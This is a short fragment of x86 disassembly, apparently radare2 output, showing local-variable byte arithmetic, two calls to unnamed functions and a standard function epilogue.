movzx ecx, byte [ebp - 0x3b1]
push ecx
call fcn.00401050
movzx edx, byte [ebp - 0x71d]
movzx eax, byte [ebp - 0x1a5]
add edx, eax
mov byte [ebp - 0x3b1], dl
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0x708]
mov dword [eax], edx
call fcn.004048a0
mov eax, dword [ebp - 0x1ac]
pop esi
mov esp, ebp
pop ebp
ret 0x10